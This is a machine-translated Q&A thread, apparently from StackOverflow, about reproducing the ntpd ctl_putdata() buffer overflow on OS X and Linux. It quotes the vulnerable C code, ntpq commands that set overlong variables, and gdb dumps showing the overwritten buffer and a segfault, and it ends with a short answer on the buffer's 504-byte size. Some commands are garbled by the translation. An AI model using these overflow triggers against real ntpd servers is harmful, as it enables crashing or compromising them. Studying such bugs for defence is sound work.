ctl_putdata()

时间:2016-02-12 18:56:50

标签: c exploit

看完之后:

http://googleprojectzero.blogspot.de/2015/01/finding-and-exploiting-ntpd.html

错误

在OS X Mavericks上可以利用的最严重的错误是处理控制数据包的代码中的缓冲区溢出。如果控制模式响应超过用于存储它们的缓冲区的大小,则它们将被分段,如以下函数所示:

static void
ctl_putdata(
  const char *dp,
  unsigned int dlen,
  int bin   /* set to 1 when data is binary */
  )
{
  //[...]

   /*
    * Save room for trailing junk
    */
   if (dlen + overhead + datapt > dataend) {
     /*
      * Not enough room in this one, flush it out.
      */
    ctl_flushpkt(CTL_MORE);
   }
   memmove((char *)datapt, dp, (unsigned)dlen);
   datapt += dlen;
   datalinelen += dlen;
}

如您所见,如果要写入的数据不适合剩余的缓冲区空间,则调用ctl_flushpkt(),它将发送当前数据包并将datapt重置为指向缓冲区的开头。但是,在任何情况下都会调用memmove,如果dlen大于总缓冲区大小,它将溢出缓冲区。

一些基础知识:

我花了很长时间才明白它,所以这是我的发现。

为了溢出一个缓冲区,需要设置一个long var而不是读取,在我的测试中,大约1000个字符就可以了。我确实在文件配置中设置了它而不是读取:

/etc/ntp.conf中

SETVAR一个= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

:rv 0 a

它溢出。

(gdb) x/400x 0x684b0c
0x684b0c <rpkt+12>: 0x41413d61  0x41414141  0x41414141  0x41414141
0x684b1c <rpkt+28>: 0x41414141  0x41414141  0x41414141  0x41414141
0x684b2c <rpkt+44>: 0x41414141  0x41414141  0x41414141  0x41414141
0x684b3c <rpkt+60>: 0x41414141  0x41414141  0x41414141  0x41414141
0x684b4c <rpkt+76>: 0x41414141  0x41414141  0x41414141  0x41414141
0x684b5c <rpkt+92>: 0x41414141  0x41414141  0x41414141  0x41414141
0x684b6c <rpkt+108>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684b7c <rpkt+124>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684b8c <rpkt+140>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684b9c <rpkt+156>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bac <rpkt+172>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bbc <rpkt+188>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bcc <rpkt+204>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bdc <rpkt+220>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bec <rpkt+236>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bfc <rpkt+252>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c0c <rpkt+268>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c1c <rpkt+284>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c2c <rpkt+300>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c3c <rpkt+316>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c4c <rpkt+332>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c5c <rpkt+348>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c6c <rpkt+364>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c7c <rpkt+380>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c8c <rpkt+396>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c9c <rpkt+412>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684cac <rpkt+428>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684cbc <rpkt+444>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684ccc <rpkt+460>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684cdc <rpkt+476>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684cec <rpkt+492>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684cfc <rpkt+508>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684d0c:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d1c:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d2c <utsnamebuf+12>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d3c <utsnamebuf+28>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d4c <utsnamebuf+44>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d5c <utsnamebuf+60>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d6c <utsnamebuf+76>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d7c <utsnamebuf+92>:   0x41414141  0x41414141  0x41414141  0x41414141
---Type <return> to continue, or q <return> to quit---
0x684d8c <utsnamebuf+108>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684d9c <utsnamebuf+124>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684dac <utsnamebuf+140>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684dbc <utsnamebuf+156>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684dcc <utsnamebuf+172>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684ddc <utsnamebuf+188>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684dec <utsnamebuf+204>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684dfc <utsnamebuf+220>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e0c <utsnamebuf+236>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e1c <utsnamebuf+252>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e2c <utsnamebuf+268>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e3c <utsnamebuf+284>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e4c <utsnamebuf+300>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e5c <utsnamebuf+316>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e6c <utsnamebuf+332>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e7c <utsnamebuf+348>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e8c <utsnamebuf+364>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e9c <utsnamebuf+380>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684eac <ext_sys_var+4>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684ebc <filegen_registry+4>:  0x00000000  0x00000000  0x00000000  0x00000000
0x684ecc <config_timer>:    0x00000000  0x00000000  0x00000000  0x00000000
0x684edc:   0x00000000  0x00000000  0x00000000  0x00000000
0x684eec:   0x00000000  0x00000000  0x00000000  0x00000000
0x684efc:   0x00000000  0x00000001  0x00000000  0x8749597e

Program received signal SIGSEGV, Segmentation fault.
read_variables (rbufp=<optimized out>, restrict_mask=<optimized out>) at ntp_control.c:2300
2300                for (i = 0; ext_sys_var &&

但是我想通过控制包

设置它

:config setvar var = AAAAAAA

设置长值无效,因为无法对控制数据包请求进行分段。但是设置长名称并读取服务器上的所有变量,您可以使控制数据包响应大到足以分割。

您可以使用

读取服务器上的所有变量

:rv 0 sys_var_list

我试图设置一个长变量名来触发溢出。

:配置SETVAR bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb = 1

比通过

阅读

:rv 0 sys_var_list

(gdb) x/400x  0x684b0c
0x684b0c <rpkt+12>: 0x5f737973  0x5f726176  0x7473696c  0x656c223d
0x684b1c <rpkt+28>: 0x732c7061  0x74617274  0x702c6d75  0x69636572
0x684b2c <rpkt+44>: 0x6e6f6973  0x6f6f722c  0x6c656474  0x722c7961
0x684b3c <rpkt+60>: 0x64746f6f  0x2c707369  0x69666572  0x65722c64
0x684b4c <rpkt+76>: 0x6d697466  0x63742c65  0x6565702c  0x666f2c72
0x684b5c <rpkt+92>: 0x74657366  0x6572662c  0x6e657571  0x732c7963
0x684b6c <rpkt+108>:    0x6a5f7379  0x65747469  0x6c632c72  0x696a5f6b
0x684b7c <rpkt+124>:    0x72657474  0x6f6c632c  0x702c6b63  0x65636f72
0x684b8c <rpkt+140>:    0x726f7373  0x7379732c  0x2c6d6574  0x73726576
0x684b9c <rpkt+156>:    0x2c6e6f69  0x5f6b6c63  0x646e6177  0x732c7265
0x684bac <rpkt+172>:    0x765f7379  0x6c5f7261  0x2c747369  0x2c696174
0x684bbc <rpkt+188>:    0x7061656c  0x2c636573  0x69707865  0x6d2c65---Type <return> to continue, or q <return> to quit---
72
0x684bcc <rpkt+204>:    0x63746e69  0x6561642c  0x5f6e6f6d  0x73726576
0x684bdc <rpkt+220>:    0x2c6e6f69  0x74746573  0x6f656d69  0x79616466
0x684bec <rpkt+236>:    0x6363612c  0x5f737365  0x696c6f70  0x612c7963
0x684bfc <rpkt+252>:    0x6262622c  0x62626262  0x62626262  0x62626262
0x684c0c <rpkt+268>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c1c <rpkt+284>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c2c <rpkt+300>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c3c <rpkt+316>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c4c <rpkt+332>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c5c <rpkt+348>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c6c <rpkt+364>:    0x62626262  0x62626262  0x62626262  0x62626262
---Type <return> to continue, or q <return> to quit---
0x684c7c <rpkt+380>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c8c <rpkt+396>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c9c <rpkt+412>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684cac <rpkt+428>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684cbc <rpkt+444>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684ccc <rpkt+460>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684cdc <rpkt+476>:    0x0a0d2262  0x00000000  0x00000000  0x00000000
0x684cec <rpkt+492>:    0x00000000  0x00000000  0x00000000  0x00000000
0x684cfc <rpkt+508>:    0x00000000  0x00000000  0x00000401  0x00000000
0x684d0c:   0x00000000  0x00000000  0x00000000  0x00000000
0x684d1c:   0x00000000  0x756e694c  0x00000078  0x00000000
0x684d2c <utsnamebuf+12>:   0x00000000  0x00000000  0x00000000  0x00000000
0x684d3c <utsnamebuf+28>:   0x00000000  0x00000000  0x00000000  ---Type <return> to continue, or q <return> to quit---
0x00000000
0x684d4c <utsnamebuf+44>:   0x00000000  0x00000000  0x00000000  0x00000000

我设法得到最大的数据包是dlen 466,但缓冲区是504字节

我的问题是:

  1. 作者如何溢出此缓冲区?
  2. 这里很难解释,但我希望你明白这一点。

    谢谢,

1 个答案:

答案 0 :(得分:0)

它的大小与u_char指针的大小相同。但是它指向一个大小为480 + MAX_MAC_LEN = 480+(6 * sizeof(u_int32)) = 480+6*4=504 bytes的数组,因为它被分配了data结构的ntp_control字段的地址。